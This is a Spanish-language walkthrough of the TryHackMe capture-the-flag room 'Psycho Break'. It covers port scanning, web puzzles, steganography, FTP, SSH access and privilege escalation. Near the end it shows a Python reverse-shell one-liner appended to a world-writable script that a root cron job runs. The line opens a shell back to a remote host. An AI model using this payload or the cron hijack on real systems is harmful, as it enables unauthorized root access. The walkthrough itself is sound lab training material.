Psycho Break es una maquina de TryHackMe, es CTF Like por los multiples retos que se presentan.
Room
Titulo |
Psycho Break |
Descripción |
Help Sebastian and his team of investigators to withstand the dangers that come ahead. |
Puntos |
208 |
Dificultad |
Facil |
Maker |
shafdo |
NMAP
Escaneo de puertos tcp, nmap nos muestra el puerto ftp (21), ssh (2) y el puerto http (80) abiertos.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
|
# Nmap 7.80 scan initiated Wed Dec 9 21:22:51 2020 as: nmap -o allPorts psycho.thm
Nmap scan report for psycho.thm (10.10.253.212)
Host is up (0.28s latency).
Not shown: 997 closed ports
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
80/tcp open http
# Nmap done at Wed Dec 9 21:23:31 2020 -- 1 IP address (1 host up) scanned in 39.29 seconds
# Nmap 7.80 scan initiated Wed Dec 9 21:23:49 2020 as: nmap -p21,22,80 -sV -sC -o servicePorts psycho.thm
Nmap scan report for psycho.thm (10.10.253.212)
Host is up (0.35s latency).
PORT STATE SERVICE VERSION
21/tcp open ftp ProFTPD 1.3.5a
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 44:2f:fb:3b:f3:95:c3:c6:df:31:d6:e0:9e:99:92:42 (RSA)
| 256 92:24:36:91:7a:db:62:d2:b9:bb:43:eb:58:9b:50:14 (ECDSA)
|_ 256 34:04:df:13:54:21:8d:37:7f:f8:0a:65:93:47:75:d0 (ED25519)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Welcome To Becon Mental Hospital
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Dec 9 21:24:09 2020 -- 1 IP address (1 host up) scanned in 19.76 seconds
|
HTTP
Encontramos una pagina web en el puerto 80.
En la pagina inicial encontramos un comentario con una direccion.
1
|
<!-- Sebastian sees a path through the darkness which leads to a room => /sadistRoom -->
|
En la nueva direccion se muestra un comentario en HTML y tambien al presionar el “link” mostrado en la pagina salta una alerta que muestra una “llave”, esa misma llave se encuentra en un archivo de javascript junto con una nueva direccion /lockerRoom/
.
1
|
<!-- To find more about Sadist visit https://theevilwithin.fandom.com/wiki/Sadist -->
|
En esta nueva direccion encontramos un mensaje “codificado” y una nueva direccion en un “link” hacia un “mapa”.
Utilizando guballa.de logramos obtener el texto codificado en vigenere
.
Ingresamos al mapa y nos pregunta la llave, ingresamos el texto decodificado y nos muestra direcciones.
En Safe Heaven
encontramos solamente imagenes.
Y en el codigo fuente un comentario.
1
|
<!-- I think I'm having a terrible nightmare. Search through me and find it ... -->
|
En Abandoned Room
pide una llave.
GOBUSTER
Utilizamos gobuster para busqueda de directorios y archivos en Safe Heaven
.
1
2
3
4
5
|
kali@kali:~/thm/psychobreak$ gobuster dir -u http://psycho.thm/SafeHeaven/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -q -t 50 -x php,html,txt
/imgs (Status: 301)
/index.php (Status: 200)
/index.php (Status: 200)
/keeper (Status: 200)
|
Encontramos una pagina la cual nos muestra una direccion hacia otra.
En esta ultima nos pide que ingresemos el lugar exacto de la imagen presentada.
Utilizamos Google imagenes para poder subir y obtener la respuesta. Al ingresar la respuesta nos muestra una llave nueva, la cual ingresamos en /abandonedRoom/
.
Nos muestra una nueva pagina y muestra otra direccion nueva.
En la direccion nueva nos muestra un timer y un mensaje RUN. RUN. Runn Get out of here !!!. En el codigo fuente de esta pagina encontramos dos comentarios.
El primer comentario habla sobre una “shell” dentro de la pagina.
1
2
3
|
<!-- There is something called "shell" on current page maybe that'll help you to get out of here !!!-->
<!-- To find more about the Spider Lady visit https://theevilwithin.fandom.com/wiki/Laura_(Creature) -->
|
Le pasamos ?shell=id
en la pagina actual y retorno un comentario en el cual indica que el comando no esta permitido.
Realizamos una pequeña enumeracion y encontramos una nueva direccion en la cual no hemos estado y se muestran varios archivos.
Encontramos un archivo de texto y un archivo zip.
You made it. Escaping from Laura is not easy, good job ....
Dentro del archivo zip encontramos un archivo de texto y una imagen, este ultimo al parecer es un archivo zip y no de imagen.
1
2
3
4
5
6
7
8
9
|
kali@kali:~/thm/psychobreak$ cat helpme.txt
From [... snip ...],
Who ever sees this message "HELP Me". Ruvik locked me up in this cell. Get the key on the table and unlock this cell. I'll tell you what happened when I am out of
this cell.
kali@kali:~/thm/psychobreak$ file Table.jpg
Table.jpg: Zip archive data, at least v2.0 to extract
|
STEGO
En el archivo zip (Table.jpg) encontramos una imagen un archivo de audio que parece ser codigo morse.
1
2
3
4
|
kali@kali:~/thm/psychobreak$ unzip Table.jpg
Archive: Table.jpg
inflating: Joseph_Oda.jpg
inflating: key.wav
|
Utilizamos morsecode.world para obtener el texto.
Utilizamos el texto encontrado para extraer informacion de la imagen con steghide
, donde encontramos credenciales para el servicio FTP.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
|
kali@kali:~/thm/psychobreak$ steghide extract -sf Joseph_Oda.jpg
Enter passphrase:
wrote extracted data to "thankyou.txt".
kali@kali:~/thm/psychobreak$ cat thankyou.txt
From [... snip ...],
Thank you so much for freeing me out of this cell. Ruvik is nor good, he told me that his going to kill sebastian and next would be me. You got to help
Sebastian ... I think you might find Sebastian at the Victoriano Estate. This note I managed to grab from Ruvik might help you get inn to the Victoriano Estate.
But for some reason there is my name listed on the note which I don't have a clue.
--------------------------------------------
// \\
|| (NOTE) FTP Details ||
|| ================== ||
|| ||
|| USER : [... snip ...] ||
|| PASSWORD : [... snip ...] ||
|| ||
\\ //
--------------------------------------------
Good luck, Be carefull !!!
kali@kali:~/thm/psychobreak$
|
FTP
Ingresamos al servicio FTP con las credenciales encontradas y vemos dos archivos, uno de ellos es un ejecutable, el segundo parece ser un wordlist.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
|
ftp> pwd
257 "/" is the current directory
ftp> ls -lah
200 PORT command successful
150 Opening ASCII mode data connection for file list
drwxr-xr-x 2 0 0 4.0k Aug 13 15:20 .
drwxr-xr-x 2 0 0 4.0k Aug 13 15:20 ..
-rwxr-xr-x 1 joseph joseph 11.1M Aug 13 15:12 program
-rw-r--r-- 1 joseph joseph 974 Aug 13 15:20 random.dic
226 Transfer complete
ftp> get program
local: program remote: program
200 PORT command successful
150 Opening BINARY mode data connection for program (11641688 bytes)
226 Transfer complete
11641688 bytes received in 70.65 secs (160.9213 kB/s)
ftp> get random.dic
local: random.dic remote: random.dic
200 PORT command successful
150 Opening BINARY mode data connection for random.dic (974 bytes)
226 Transfer complete
974 bytes received in 0.00 secs (6.6826 MB/s)
ftp> exit
221 Goodbye.
kali@kali:~/thm/psychobreak$ file program
program: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=294d1f19a085a730da19a6c55788ec08c2187039, stripped
kali@kali:~/thm/psychobreak$ head random.dic
000000
111111
123123
123321
1234
12345
123456
1234567
12345678
123456789
kali@kali:~/thm/psychobreak$
|
Al ejecutar el programa nos pide una “palabra”. Utilizando el diccionario y bash logramos obtener la palabra correcta y nos muestra el siguiente mensaje.
1
2
3
4
5
6
7
8
9
10
11
|
kali@kali:~/thm/psychobreak/ftp$ while read line; do ./program "$line" && echo $line; done < random.dic
000000 => Incorrect
000000
[... snip ... ]
[... snip ... ] => Correct
Well Done !!!
Decode This => 55 444 3 6 2 66 7777 7 2 7777 7777 9 666 777 3 444 7777 7777 666 7777 8 777 2 66 4 33
|
El mensaje incluye unos numeros lo que parecen ser un mensaje codificado con numeros que representan un teclado de telefono.
Utilizamos dcode.fr - multi-tap phone para obtener el texto.
KIDMAN - USER
Con la palabra y el mensaje decodificado intentamos ingresar mediante el servicio SSH con estas “credenciales”, logrando obtener una shell y nuestra flag user.txt
.
PRIVILEGE ESCALATION
Hacemos una pequeña enumeracion al archivo /etc/crontab
y encontramos un cron que se ejecuta cada dos minutos.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
kidman@evilwithin:~$ cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
# m h dom mon dow user command
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
*/2 * * * * root python3 /var/.the_eye_of_ruvik.py
|
El cron ejecuta un archivo de python, el cual escribe una “oracion” dentro del archivo .the_eye.txt. Tenemos permisos de escritura en el archivo de python por lo que lo modificamos para ejecutar una shell inversa.
1
2
3
4
5
6
7
8
9
|
.the_eye_of_ruvik.py
#!/usr/bin/python3
import subprocess
import random
stuff = ["I am watching you.","No one can hide from me.","Ruvik ...","No one shall hide from me","No one can escape from me"]
sentence = "".join(random.sample(stuff,1))
subprocess.call("echo %s > /home/kidman/.the_eye.txt"%(sentence),shell=True)
|
1
2
|
subprocess.call("echo %s > /home/kidman/.the_eye.txt"%(sentence),shell=True)
import socket,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.1.1.1",1338));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);os.system("/bin/sh -i")
|
Logramos obtener una shell con el usuario root y nuestra flag root.txt
.